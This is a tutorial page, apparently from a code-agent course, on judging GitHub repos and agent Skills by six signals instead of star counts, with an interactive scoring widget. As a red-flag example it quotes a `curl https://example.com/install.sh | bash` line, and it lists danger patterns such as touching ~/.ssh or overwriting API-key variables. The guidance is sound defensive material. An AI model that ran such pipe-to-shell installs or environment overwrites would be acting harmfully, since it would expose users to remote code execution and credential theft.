> ## Documentation Index
> Fetch the complete documentation index at: https://felimet-hub.jmcores.com/llms.txt
> Use this file to discover all available pages before exploring further.

# 03-2 An Evaluation Framework Beyond GitHub Stars

> GitHub star counts reflect marketing reach, not quality, safety, or active maintenance. This unit gives you a set of six more reliable signals and a repeatable scoring rubric so tool decisions are grounded in evidence rather than gut feel.

export const RepoRubric = ({lang = "zh"}) => {
  const t = ({
    zh: {
      title: "候選 repo 評分器",
      subtitle: "對六個訊號各打分 0-3，觀察 veto 規則的運作方式",
      signals: [{
        key: "maintenance",
        label: "維護近度",
        weight: 20,
        hint: "近 90 天是否有 commit？"
      }, {
        key: "response",
        label: "Issue / PR 回應",
        weight: 15,
        hint: "中位回應天數 < 30？"
      }, {
        key: "provenance",
        label: "Provenance",
        weight: 15,
        hint: "擁有者具名？commit 有簽章？"
      }, {
        key: "permissions",
        label: "權限範圍",
        weight: 25,
        hint: "不含 curl|bash、不改環境變數？"
      }, {
        key: "tests",
        label: "測試與文件",
        weight: 15,
        hint: "CI 綠？文件近期更新？"
      }, {
        key: "deps",
        label: "相依健康",
        weight: 10,
        hint: "核心依賴未 archive 或 deprecated？"
      }],
      scoreLabels: ["0 — 紅燈", "1 — 有疑慮", "2 — 符合預期", "3 — 超出預期"],
      weightedScore: "加權分數",
      verdict: {
        veto: "紅燈淘汰（有訊號得 0 分）",
        skip: "不採用（加權分 < 1.5）",
        trial: "進試用協定（1.5 ≤ 加權分 < 1.8）",
        adopt: "採納（加權分 ≥ 1.8）"
      },
      vetoNote: "注意：任一訊號 0 分即觸發紅燈，無論加權分多高。"
    },
    en: {
      title: "Candidate repo scorer",
      subtitle: "Score each of the six signals 0-3 and observe how the veto rule operates",
      signals: [{
        key: "maintenance",
        label: "Recency of maintenance",
        weight: 20,
        hint: "Any commits in the past 90 days?"
      }, {
        key: "response",
        label: "Issue / PR responsiveness",
        weight: 15,
        hint: "Median response time < 30 days?"
      }, {
        key: "provenance",
        label: "Provenance",
        weight: 15,
        hint: "Named owner? Signed commits?"
      }, {
        key: "permissions",
        label: "Permission scope",
        weight: 25,
        hint: "No curl|bash, no env var overwrite?"
      }, {
        key: "tests",
        label: "Tests and documentation",
        weight: 15,
        hint: "CI green? Docs recently updated?"
      }, {
        key: "deps",
        label: "Dependency health",
        weight: 10,
        hint: "No archived or deprecated core deps?"
      }],
      scoreLabels: ["0 - Red flag", "1 - Concerns", "2 - Meets expectations", "3 - Exceeds expectations"],
      weightedScore: "Weighted score",
      verdict: {
        veto: "Red light - eliminated (signal scored 0)",
        skip: "Do not adopt (score < 1.5)",
        trial: "Run trial protocol (1.5 <= score < 1.8)",
        adopt: "Adopt (score >= 1.8)"
      },
      vetoNote: "Note: any signal at 0 triggers a red light, regardless of the weighted total."
    }
  })[lang];
  const initialScores = () => {
    const obj = {};
    t.signals.forEach(s => {
      obj[s.key] = 2;
    });
    return obj;
  };
  const [scores, setScores] = useState(initialScores);
  const hasVeto = Object.values(scores).some(v => v === 0);
  const weighted = t.signals.reduce((acc, s) => acc + scores[s.key] * s.weight, 0) / 100;
  const getVerdict = () => {
    if (hasVeto) return {
      label: t.verdict.veto,
      color: "var(--rr-red)"
    };
    if (weighted < 1.5) return {
      label: t.verdict.skip,
      color: "var(--rr-red)"
    };
    if (weighted < 1.8) return {
      label: t.verdict.trial,
      color: "var(--rr-amber)"
    };
    return {
      label: t.verdict.adopt,
      color: "var(--rr-green)"
    };
  };
  const verdict = getVerdict();
  const scoreColor = v => {
    if (v === 0) return "var(--rr-red)";
    if (v === 1) return "var(--rr-amber)";
    if (v === 2) return "var(--rr-text-muted)";
    return "var(--rr-green)";
  };
  const css = `
    .rr-root {
      --rr-sienna: #bf7551;
      --rr-sienna-light: #cf8a68;
      --rr-bg: #f5f0eb;
      --rr-surface: #faf7f3;
      --rr-border: #e0d6cc;
      --rr-text: #2a1f16;
      --rr-text-muted: #7a6a5a;
      --rr-red: #c0392b;
      --rr-amber: #c07a20;
      --rr-green: #4a7c59;
      font-family: inherit;
      border: 1px solid var(--rr-border);
      border-radius: 10px;
      background: var(--rr-bg);
      padding: 1.25rem 1.5rem 1rem;
      margin: 1.25rem 0;
    }
    .dark .rr-root {
      --rr-bg: #1e1814;
      --rr-surface: #2a211a;
      --rr-border: #3d2f24;
      --rr-text: #f0ebe4;
      --rr-text-muted: #a09080;
      --rr-red: #e05c4a;
      --rr-amber: #d49040;
      --rr-green: #6ab87e;
    }
    .rr-header { margin-bottom: 1rem; }
    .rr-title {
      font-size: 0.95rem;
      font-weight: 600;
      color: var(--rr-sienna);
      margin: 0 0 0.2rem;
    }
    .rr-subtitle {
      font-size: 0.8rem;
      color: var(--rr-text-muted);
      margin: 0;
    }
    .rr-row {
      display: grid;
      grid-template-columns: 1fr auto;
      align-items: center;
      gap: 0.5rem 1rem;
      padding: 0.55rem 0;
      border-bottom: 1px solid var(--rr-border);
    }
    .rr-row:last-of-type { border-bottom: none; }
    .rr-signal-info { min-width: 0; }
    .rr-signal-label {
      font-size: 0.875rem;
      font-weight: 500;
      color: var(--rr-text);
    }
    .rr-signal-hint {
      font-size: 0.73rem;
      color: var(--rr-text-muted);
      margin-top: 0.1rem;
    }
    .rr-weight-badge {
      font-size: 0.65rem;
      background: var(--rr-border);
      color: var(--rr-text-muted);
      padding: 0.1em 0.45em;
      border-radius: 20px;
      margin-left: 0.4rem;
      vertical-align: middle;
    }
    .rr-select-wrap { display: flex; align-items: center; gap: 0.4rem; }
    .rr-select {
      appearance: none;
      -webkit-appearance: none;
      background: var(--rr-surface);
      border: 1px solid var(--rr-border);
      border-radius: 6px;
      padding: 0.28rem 1.8rem 0.28rem 0.55rem;
      font-size: 0.82rem;
      color: var(--rr-text);
      cursor: pointer;
      background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='10' height='6' viewBox='0 0 10 6'%3E%3Cpath d='M1 1l4 4 4-4' stroke='%23999' stroke-width='1.5' fill='none' stroke-linecap='round'/%3E%3C/svg%3E");
      background-repeat: no-repeat;
      background-position: right 0.5rem center;
    }
    .rr-select:focus { outline: 2px solid var(--rr-sienna); outline-offset: 1px; }
    .rr-dot {
      width: 8px;
      height: 8px;
      border-radius: 50%;
      flex-shrink: 0;
    }
    .rr-footer {
      margin-top: 0.9rem;
      display: flex;
      flex-direction: column;
      gap: 0.5rem;
    }
    .rr-score-row {
      display: flex;
      justify-content: space-between;
      align-items: center;
    }
    .rr-score-label { font-size: 0.82rem; color: var(--rr-text-muted); }
    .rr-score-value {
      font-size: 1.1rem;
      font-weight: 700;
      color: var(--rr-text);
      font-variant-numeric: tabular-nums;
    }
    .rr-verdict {
      border-radius: 6px;
      padding: 0.4rem 0.75rem;
      font-size: 0.82rem;
      font-weight: 600;
      background: var(--rr-surface);
      border: 1.5px solid;
      text-align: center;
    }
    .rr-veto-note {
      font-size: 0.72rem;
      color: var(--rr-text-muted);
      text-align: center;
      margin-top: 0.15rem;
    }
    @media (max-width: 480px) {
      .rr-root { padding: 1rem; }
      .rr-row { grid-template-columns: 1fr; }
      .rr-select-wrap { justify-content: flex-start; }
    }
  `;
  return <div className="rr-root">
      <style>{css}</style>
      <div className="rr-header">
        <p className="rr-title">{t.title}</p>
        <p className="rr-subtitle">{t.subtitle}</p>
      </div>

      {t.signals.map(signal => {
    const v = scores[signal.key];
    return <div className="rr-row" key={signal.key}>
            <div className="rr-signal-info">
              <span className="rr-signal-label">
                {signal.label}
                <span className="rr-weight-badge">×{signal.weight}</span>
              </span>
              <div className="rr-signal-hint">{signal.hint}</div>
            </div>
            <div className="rr-select-wrap">
              <div className="rr-dot" style={{
      background: scoreColor(v)
    }} />
              <select className="rr-select" value={v} onChange={e => setScores(prev => ({
      ...prev,
      [signal.key]: Number(e.target.value)
    }))}>
                {[0, 1, 2, 3].map(n => <option key={n} value={n}>
                    {t.scoreLabels[n]}
                  </option>)}
              </select>
            </div>
          </div>;
  })}

      <div className="rr-footer">
        <div className="rr-score-row">
          <span className="rr-score-label">{t.weightedScore}</span>
          <span className="rr-score-value" style={{
    color: hasVeto ? "var(--rr-red)" : verdict.color
  }}>
            {hasVeto ? "—" : weighted.toFixed(2)}
          </span>
        </div>
        <div className="rr-verdict" style={{
    color: verdict.color,
    borderColor: verdict.color
  }}>
          {verdict.label}
        </div>
        <p className="rr-veto-note">{t.vetoNote}</p>
      </div>
    </div>;
};

export const LearnerPrimer = ({items = [], lang = "zh"}) => {
  const t = lang === "en" ? {
    title: "Before this unit, be honest with yourself",
    sub: "If you can't answer these, that gap is exactly what this unit closes."
  } : {
    title: "讀這個單元前，先誠實面對",
    sub: "這幾題答不出來，正是這個單元要替你補的洞。"
  };
  const css = `
  .lp-root{--lp-bg:#FAF7F1;--lp-surface:rgba(191,117,81,0.05);--lp-border:rgba(0,0,0,0.09);--lp-edge:rgba(191,117,81,0.42);--lp-text:#2b2722;--lp-dim:#6f6a62;--lp-accent:#bf7551;border:1px solid var(--lp-border);border-left:3px solid var(--lp-edge);border-radius:13px;background:var(--lp-bg);color:var(--lp-text);overflow:hidden;margin:1.25rem 0;}
  .dark .lp-root{--lp-bg:#1b1a18;--lp-surface:rgba(207,138,104,0.07);--lp-border:rgba(255,255,255,0.08);--lp-edge:rgba(207,138,104,0.5);--lp-text:#e7e3da;--lp-dim:#a8a299;--lp-accent:#cf8a68;}
  .lp-head{display:flex;align-items:center;gap:9px;padding:13px 18px 11px;border-bottom:1px solid var(--lp-border);background:var(--lp-surface);}
  .lp-ic{color:var(--lp-accent);flex-shrink:0;}
  .lp-htx{display:flex;flex-direction:column;gap:1px;min-width:0;}
  .lp-title{font-size:14px;font-weight:650;line-height:1.3;letter-spacing:.01em;}
  .lp-sub{font-size:12px;color:var(--lp-dim);line-height:1.4;}
  .lp-list{list-style:none;margin:0;padding:10px 18px 14px;display:flex;flex-direction:column;gap:0;}
  .lp-item{display:flex;align-items:baseline;gap:11px;padding:7px 0;font-size:14px;line-height:1.6;border-top:1px solid var(--lp-border);}
  .lp-item:first-child{border-top:none;}
  .lp-mark{flex-shrink:0;color:var(--lp-accent);font-size:13px;font-weight:700;line-height:1.55;font-variant-numeric:tabular-nums;opacity:.85;}
  .lp-q{flex:1 1 0;min-width:0;color:var(--lp-text);}
  @media (max-width:620px){.lp-head{padding:12px 14px 10px;}.lp-list{padding:8px 14px 12px;}}
  `;
  return <div className="lp-root">
      <style>{css}</style>
      <div className="lp-head">
        <svg className="lp-ic" xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round"><circle cx="12" cy="12" r="10" /><circle cx="12" cy="12" r="6" /><circle cx="12" cy="12" r="2" /></svg>
        <span className="lp-htx">
          <span className="lp-title">{t.title}</span>
          <span className="lp-sub">{t.sub}</span>
        </span>
      </div>
      <ul className="lp-list">
        {items.map((q, i) => <li className="lp-item" key={i}>
            <span className="lp-mark">{String(i + 1).padStart(2, "0")}</span>
            <span className="lp-q">{q}</span>
          </li>)}
      </ul>
    </div>;
};

<LearnerPrimer
  lang="en"
  items={[
"Stars reflect marketing reach, not whether the tool will work for you",
"A 35k-star awesome list with no commits in 18 months is common",
"Looking at Insights > Contributors is more honest than reading the README",
"Any signal scoring 0 eliminates the candidate; a high total cannot rescue a red flag",
"Discovery and endorsement are two different things; an awesome list is just curation",
"Is your scoring rubric written down? Without it, you are deciding on feel",
"A benchmark top rank without stated conditions means nothing for your use case",
]}
/>

<Info>
  **What this unit solves**

  GitHub star counts primarily reflect marketing reach and momentary hype, not "whether it works for you," "whether it is safe," or "whether it is still maintained." This unit gives you a set of more reliable signals and a repeatable scoring rubric.
</Info>

## Learning objectives

* [ ] Explain the bias sources that make star counts an unreliable signal.
* [ ] List at least six signals more reliable than stars and know how to check each one.
* [ ] Apply a personal scoring rubric to a repo or Skill and reach a decision.
* [ ] Distinguish between "discovery channel" and "endorsement."

***

## 1. Signal and noise in star counts

A star is GitHub's button for a user to express "I'm interested / bookmarking / paying respect." It is not a quality certificate and not an activity indicator. A survey of 791 developers found that three-quarters check star counts before adopting or contributing to an open-source project \[1].

The side effect of placing that fact in a decision chain: once stars become the default filter, their correspondence to actual project health gets severely overestimated. The original research analyzed the growth curves of 5,000 high-star repos, identified at least four distinct star growth patterns, and concluded explicitly that "selecting projects by star count" carries real risk \[1].

Concrete bias sources:

* **Publication timing**: a wave of exposure on Hacker News, Reddit, or X can generate a large star spike; once the coverage fades, most of those users never return to contribute or report issues.
* **Title and hero image**: a polished README with a slick demo GIF, a branded typeface, and well-ordered badges attracts stars; none of that correlates with code quality.
* **Language or framework popularity**: the same repo might have ten times fewer stars in the Rust ecosystem than in a more popular language -- that does not make it lower quality.
* **Stagnation illusion**: a high-star repo may have had no activity for a long time; the community assumes "many people use it, so it must be safe" -- in reality they are guarding an empty shell.

<Note>
  **A counterexample**

  You find a "35k-star awesome LLM agent" list repo, clone it, and discover the last commit was 18 months ago; more than half the listed tools are archived or renamed; the issue tracker has accumulated 200+ unanswered broken-link reports. The star count told you none of this.
</Note>

***

## 2. Six more reliable signals

Remove stars from the evaluation table and replace them with the following six signals. Each has a concrete, checkable observation method.

| Signal                        | How to check                                                                                                                       | Red-flag condition                                                 |                                                                                      |
| ----------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ | ------------------------------------------------------------------------------------ |
| **Recency of maintenance**    | Check commit frequency in `Insights > Contributors`; any commits in the past 90 days?                                              | Zero commits in 90 days with no release either                     |                                                                                      |
| **Issue / PR responsiveness** | Median days from issue open to first official response on the 30 most recent issues; median PR merge time                          | Median response > 30 days, or > 50 open unhandled PRs              |                                                                                      |
| **Provenance**                | Is the owner a named individual / official organization or an anonymous fork? Are commits GPG / SSH signed?                        | Anonymous owner, unsigned commits, recent ownership transfer       |                                                                                      |
| **Permission scope**          | Read `README`, `.claude/`, `SKILL.md`, `AGENTS.md`; search for \`curl                                                              | bash`, changes to `ANTHROPIC\_BASE\_URL\`, writes outside the repo | Requires arbitrary network download + execution, or overwrites environment variables |
| **Tests and documentation**   | Check CI status badge, coverage documentation in `tests/`, whether `CHANGELOG.md` is updated with each release                     | CI red, documentation not updated in a year, `CHANGELOG` abandoned |                                                                                      |
| **Dependency health**         | Inspect the lockfile in `package.json` / `pyproject.toml` / `requirements.txt`; check whether critical dependencies are deprecated | Core dependency archived or flagged as deprecated                  |                                                                                      |

<Warning>
  **Permission scope comes before everything else**

  Any Skill or rule file that requires `curl ... | bash`, touches `~/.bashrc` / `~/.ssh/`, changes `ANTHROPIC_BASE_URL` / `OPENAI_API_KEY` environment variables, or writes outside the repo boundary should be treated as a danger signal immediately. For specific scanning commands, see [03-3 Security, Privacy, and Supply-Chain Risk](/en/code-agent/judgment/security-privacy-supply-chain).
</Warning>

***

## 3. Marketing versus evidence

Two signals require separate treatment: the author's "demo" and your own "hands-on test."

* **Demo**: the video, the hero GIF, the benchmark table. This is the scenario the author most wants you to see -- it is almost always cherry-picked.
* **Hands-on test**: you run it against your own real tasks, measure time, check reproducibility, calculate cost. This is the substance of the trial protocol in Section 2 of [03-1 Fit Evaluation](/en/code-agent/judgment/fit-evaluation).

Stay skeptical about "benchmark top rank." Ask three things first:

* Which benchmark? What are the data distribution, evaluation metrics, and execution environment?
* Are the benchmark tasks the same type as yours? Classification versus generation, single-turn versus multi-turn -- the gap is large.
* Are conditions truly equal? Model version, prompt, random seed, hardware -- are they held constant?

If the benchmark conditions are not public, or the tasks differ significantly from yours, that "top rank" has no meaning for your situation.

***

## 4. A personal scoring rubric

Turn the six signals from Section 2 into a scoring table. Assign each signal a weight (summing to 100), score the candidate, and reject anything below the threshold.

### 4.1 Default weights

| Signal                    | Default weight | Rationale                                        |
| ------------------------- | -------------- | ------------------------------------------------ |
| Recency of maintenance    | 20             | Unmaintained tools cannot be relied on long-term |
| Issue / PR responsiveness | 15             | Whether the maintainer is genuinely present      |
| Provenance                | 15             | Traceable source matters more than famous source |
| Permission scope          | 25             | The security floor; highest weight               |
| Tests and documentation   | 15             | Maintenance quality indicator                    |
| Dependency health         | 10             | Easy to underestimate; bites back later          |

<Tip>
  **Adjust weights to your task**

  For projects handling sensitive data, raise "permission scope" to 35 and "provenance" to 20, scaling the rest down proportionally. For internal prototypes, you can lower "tests and documentation" to 5.
</Tip>

### 4.2 Scoring scale (0-3)

* **0**: red-flag condition is met; do not adopt.
* **1**: barely passes but with concerns; run a trial before adopting.
* **2**: meets expectations; no obvious problems.
* **3**: exceeds expectations (fast issue response, CI present, signed commits, all dependencies maintained).

Weighted score = sum(signal score x weight) / 100. Recommended threshold: weighted score >= 1.8 to proceed to the trial protocol in [03-1](/en/code-agent/judgment/fit-evaluation); below 1.5 skip it outright.

### 4.3 Interactive scoring tool

Use the rubric below to score a real candidate repo and observe how the veto rule works: any single signal at 0 triggers a red light regardless of the weighted total.

<RepoRubric lang="en" />

***

## 5. Where to find candidates

Knowing what to look for and knowing where to find it are two different things.

* **Official marketplaces and standards sites** (higher provenance, as of 2026-05): the `agents.md` standard ([agents.md](https://agents.md)) and extensions / Skills / plugins listed in each tool's official documentation. `agents.md` was donated in December 2025 alongside MCP and goose into the Agentic AI Foundation (AAIF) under the Linux Foundation, co-founded by OpenAI, Anthropic, and Block; governance and hosting details are in [01-7 Section 3](/en/code-agent/foundations/tool-landscape-2026). Source traceability is high but volume is low.
* **Community lists** (high volume, high noise, as of 2026-05): GitHub lists such as `awesome-cursorrules`, `awesome-agent-skills`, `awesome-mcp-servers`. Use these as discovery channels, not endorsements; verify survival with a live GitHub query.
* **Search engine + qualifiers**: combine `awesome`, `plugin`, `skill` with the tool name, then filter for repos updated within the past year.

<Warning>
  **Discovery does not equal endorsement**

  Appearing in a popular awesome list means only "was collected" -- not "is safe" or "is right for you." The list editor did not run a security scan on your behalf and did not run a trial for you. After finding a candidate in a list, you still need to run the six-signal check and the [03-3](/en/code-agent/judgment/security-privacy-supply-chain) security scan.
</Warning>

***

## Hands-on: run a complete evaluation on one candidate repo

This takes 30 to 45 minutes end-to-end. Take a candidate Skills file or rule set you are currently considering, and do both stages in order.

### Stage A: six-signal observation

<Steps>
  <Step title="Check the repo homepage">
    Look at the CI badge, the Latest Release date, and the contributor avatars (are they active?).
  </Step>

  <Step title="Check Insights for commit distribution">
    Open `Insights > Contributors` and examine the commit frequency over the past 90 days.
  </Step>

  <Step title="Review Issues">
    Open `Issues`, sort by "Oldest," and check the age of unresolved issues and the time to first official response.
  </Step>

  <Step title="Review Pull requests">
    Open `Pull requests` and note the count of unmerged PRs and the date of the most recent merge.
  </Step>

  <Step title="Scan Skill or rule files">
    For Skill or rule files, run a full-text scan with `ripgrep` (`rg`) against suspicious patterns (see [03-3](/en/code-agent/judgment/security-privacy-supply-chain)).
  </Step>

  <Step title="Check key dependencies">
    Verify that the GitHub repos of key dependencies are still active and not flagged as deprecated.
  </Step>
</Steps>

If any observation hits a red-flag condition, record 0 for that signal and stop the remaining steps.

### Stage B: apply the rubric

Using the default weights from Section 4.1, score each of the six signals 0 to 3:

* 0: red-flag condition is met.
* 1: barely passes; concerns present.
* 2: meets expectations; no obvious problems.
* 3: exceeds expectations.

<Note>
  **Scoring walkthrough**

  Candidate A: a Claude Skill advertised as "auto-writes tests," 1.2k stars.

  * Recency of maintenance: 2 (8 commits in the past 90 days)
  * Issue / PR responsiveness: 1 (median 25 days; author responds but slowly)
  * Provenance: 3 (named author, signed commits, employer publicly known)
  * Permission scope: 0 (SKILL.md contains `curl https://example.com/install.sh | bash`)

  Weighted score = (2x20 + 1x15 + 3x15 + 0x25 + ?x15 + ?x10) / 100. Permission scope is 0, triggering an immediate red light; the remaining two signals do not need to be assessed.

  Even if every other signal were perfect, the single-zero veto design exists precisely to prevent "looks fine overall but has one landmine buried inside" adoptions.
</Note>

Final ruling:

* Any signal at 0: do not adopt; write down the reason.
* Weighted score \< 1.5: do not adopt; write down the reason.
* Weighted score in the `1.5 - 1.8` band: hold for observation; run the trial protocol from Section 2 of [03-1](/en/code-agent/judgment/fit-evaluation).
* Weighted score `1.8` or above: adopt; write down the use context and a planned reassessment date.

***

## Common pitfalls

* **Installing after looking only at stars and the homepage README.** Stars reflect reach; the README reflects marketing; neither reflects your task fit.
* **Treating inclusion in a community list as a quality guarantee.** Lists are curation, not auditing. Dead repos outnumber active ones in most awesome lists.
* **Ignoring the last updated date.** A Skill that has not changed in a year should be expected to break the next time you upgrade.
* **Failing to separate demo from hands-on test.** A smooth demo video does not mean smooth operation for you; run it against your real tasks.
* **Treating high popularity as evidence of safe permissions.** Popularity cannot cancel out a dangerous permission request; it actually increases the risk of imitation attacks.

## Self-check

<Check>
  **Self-check**

  * Can you make an adopt / reject decision on a candidate repo without looking at its star count?
  * When did you last check the permission scope of the three Skills or rule files you use most? What specific lines did you actually look at?
  * Is your personal scoring rubric written down? Have you adjusted the weights for your tasks?
  * What was the last time an awesome list misled you? Which signal did you fail to check?
</Check>

## Sources and further reading

Factual claims are grounded in official documentation; fast-changing items are annotated as of 2026-05.

<div className="references">
  * \[1] H. Borges and M. T. Valente, "What's in a GitHub Star? Understanding Repository Starring Practices in a Social Coding Platform," *Journal of Systems and Software*, vol. 146, pp. 112-129, Dec. 2018. (Survey of 791 developers; analysis of star growth patterns and their disconnect from project health) [https://doi.org/10.1016/j.jss.2018.09.016](https://doi.org/10.1016/j.jss.2018.09.016) (as of 2026-05)
</div>

* Specific security scanning commands: [03-3 Security, Privacy, and Supply-Chain Risk](/en/code-agent/judgment/security-privacy-supply-chain).
* Quantitative hands-on testing: [03-4 Building a Personal Benchmark and Verification Habit](/en/code-agent/judgment/personal-benchmark).
* Fit evaluation decision framework: [03-1 How to Judge Whether a Tool or Skill Is Right for You](/en/code-agent/judgment/fit-evaluation).
* Discovery channel list: [Appendix D: Extended Resources and Community Lists](/en/code-agent/appendix/resources).
